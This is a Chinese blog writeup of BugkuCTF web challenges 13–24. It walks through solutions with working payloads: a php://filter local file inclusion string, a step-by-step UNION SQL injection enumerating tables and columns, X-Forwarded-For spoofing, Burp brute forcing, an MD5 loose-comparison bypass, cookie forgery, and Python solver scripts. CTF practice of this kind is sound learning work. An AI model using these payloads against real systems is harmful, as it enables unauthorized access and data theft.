BugkuCTF-WEB(13-24) 第二期writeup
郁闷。上一次写的BugkuCTF前12题的writeup竟然被简书给锁定为仅自己可见了,也不知道是什么原因。如果只是因为内容跟网络安全有关的话,我写这篇题解的心情恐怕也只会是“胆战心惊”吧。
话不多说,上回简要写了下前12题中2题的题解。而这回的12道有很多都是非常优秀的题目,所以在此尽量把其中精华都总结到位,希望能帮到其他同好并且帮助自己进步。
把链接再贴一遍。 https://ctf.bugku.com/challenges
网站被黑(60)(后台扫描+暴力破解)
回头写这题的题解时题目的链接已经打不开了,但由于印象深刻还能简单复述一下。这道题的页面相当炫目,不过题目一开始并无提示,除了链接上webshell非常醒目。实际上可以猜测存在shell.php。不过,网上其他做法都是用御剑去扫描,发现index.php与shell.php是存在的,也算验证想法。 这个工具长这样之后要求输入密码,因此可以用burp 的intruder模块暴力破解。
intruder稍微需要注意的问题在于设置上,通常在Positions里把attack type设为sniper,再根据实际情况在Payloads中因题制宜,选择合适的payload去暴力,不然必然是件大工程。
管理员系统(X-Forworded-For)
管理员系统相信看到这个页面,大多数人的第一反应都是sql注入。所以我试了下盲注,但是发现好像并不是sql注入的题。查看源码,惊讶的发现在5000多行处有个base64的注释, 源码
转换过来发现test123,那极有可能是密码了,因为user应该就是身为管理员的admin。但是提交会发现回复
“IP禁止访问,请联系本地管理员登陆,IP已被记录.”
所以最后才发现这是道考察XFF头的题目,X-Forwarded-For:127.0.0.1就可以伪装成本地登录。所以在Burp里加工下就好了。
web4(js)
这道题直接提示看源码了,然后还看到一大段看起来好像j是s的代码,所以直接copy下来先转了码(又臭又长且一堆%就是url编码无误了)把中间部分全部转码就得到了一段完整代码把其中的字符按照要求连接在一起提交得flag。
flag在index里(LFI)
file=php://filter/read=convert.base64-encode/resource=index.php
在南邮ctf就出现过的题,属于文件包含,访问上述链接后把所得base64解码,就得到了源码与flag。
输入密码查看flag(爆破)
这道题连链接都在提示你爆破,岂有不爆之理?
burp intruder直接爆破。从做出题目的角度来看,提示五位数,基本上就是5位数字或字母或兼而有之,所以payload序列可以选合理一点省时间。
点击一百万次(post&js)
即使没看到提示,我的第一反应也是打开chrome开发者工具试图直接改页面js(一百万了,不是脚本就是改包),发现失败了。但思路格外清晰:在源码中发现影响点击量的变量叫clicks后,果断选择直接post clicks值大于一百万即可。
备份是个好习惯(.bak与php"=="的使用)
备份文件的后缀是?我发现自己真不知道问题的答案,于是百度后得知叫.bak。这之后其实又可以猜测关键信息在某个.bak文件中了。当然,采取扫描更是完全的选择。发现其在index.php.bak中,下载后打开可以代码审计做题了。
题目的代码如下
<?
include_once “flag.php”;
ini_set(“display_errors”, 0);
$str = strstr($_SERVER[‘REQUEST_URI’], ‘?’);
$str = substr($str,1);
$str = str_replace(‘key’,”,$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag.”取得flag”;
}
?>
简单概括下,上半部分代码作用是过滤掉我们输入内容字符串中“key”部分这个用双写key就可以解决,而下半部分则是得到flag逻辑部分,key1与key2值不同但MD5同,这个关于“==”的解决方法以前就提过了:用md5值开头同为0e的字符串就可以https://www.jianshu.com/p/ff0064a8a8ae
当然用数组绕过也是可以的(php中MD5()处理数组返回null)
成绩单(sql注入)
bugctf平台上做到的第一个sql注入题,非常有代表性的注入题,我觉得作为入门的题目是很让人有收获的:下面贴下详细步骤了。
(我的注入都是直接在输入框内输入内容,不是打开工具进行post)
1.盲注
1'
返回失败,改为直接试1成功了。
盲注
2.找列数
0' order by 4# 0' order by 5#
前者成功,后者失败。加上本来就能看到三列,可以确定表有四个属性。
3.找库
0' union select 1,database(),user(),version()#
库
4.找表(fl4g)
0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
表
5.找列(skctf_flag)
0' union select 1,(select group_concat(column_name) from information_schema.COLUMNS where table_name='fl4g'),user(),version()#
列
6.找flag
0' union select 1,(skctf_flag from fl4g),user(),version()#
没错,这样就能出flag了吧,,,,,,并没有!我也不知道什么原因
,于是按照同样原理换了一个
0' union select 1,2,3,skctf_flag from fl4g#
结果就对了。。。
秋名山老司机&速度要快
两道题放一起是因为完全就是一个类型的题,通过先看源码分析标签,再写脚本处理。
秋名山:这种题目一看就是写脚本,因为算不了这么快,而且数据还贼大。
源码如下:
import re
import requests
url='http://123.206.87.240:8002/qiumingshan/'
s=requests.session()
g=s.get(url)
page=re.findall(r'<div>(.*)=\?;</div>',g.text)[0]
res=eval(page)
payload = {'value': res}
p = s.post(url, data=payload)
print(p.text)
速度要快
这道题相比之下就充满了陷阱,如果你抓包的话,就会发现包里给了个flag,解码一遍后发现还能再解一遍,然而两个结果提交都不对!?刷新遍看结果发现新的包里flag值都变了,看来是个骗人的玩意。果然,源码中提示说要post margin值。所以脚本势在必行了。
import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
s = requests.session()
flag = s.get(url).headers['flag']
flag = base64.b64decode(flag)
flag=flag.decode()#非常重要,必须从byte型转为str型
flag = base64.b64decode(flag.split(":")[1])
payload = {'margin': flag}
print(s.post(url, data=payload).text)
网上其他题解里的writeup没有出现题中decode()的问题,不知道是什么情况。总之这个步骤必不可少。
Cookie欺骗
这道题也很有意思,上来一个不知道是什么编码的数串,可能并不是突破口。
相反,url中明显的filename后跟着base64编码的字符串,转换过来发现是keys.txt
url
那就去查看index.php吧。将index.php的base64编每次码填入后,随便给行数line赋值,发现每次结果都不同,也就是说我们每次都在查看index.php的其中第line行的内容。这时就可以考虑用脚本把内容看完一次弄完。但我没有,我一直单行单行看,直到看见关键代码是cookie中margin=margin。于是果断抓包加上Cookie:margin=margin,得到flag.(完整index.php如下)
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ //看这里
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
never give up
这道题目中源码提示了1p.html,那就访问吧。结果发现就是bugkuctf主页。。。好吧,当然不是看主页了,还得view-source:http://123.206.87.240:8006/test/1p.html
于是发现了js代码中一看就是url编码的东西,
转码,发现有base64特征,再转,发现又有URl特征,再转,得到一份源码。直接告诉你在f4l2a3g.txt里,访问即可
(这道题转码的三步好多人写writeup都是随便一说,有顺序都错的,还有只赚两遍的。。)
好了,总算把这12题总结了一下,感觉还是挺有收获的。下轮12题再写吧。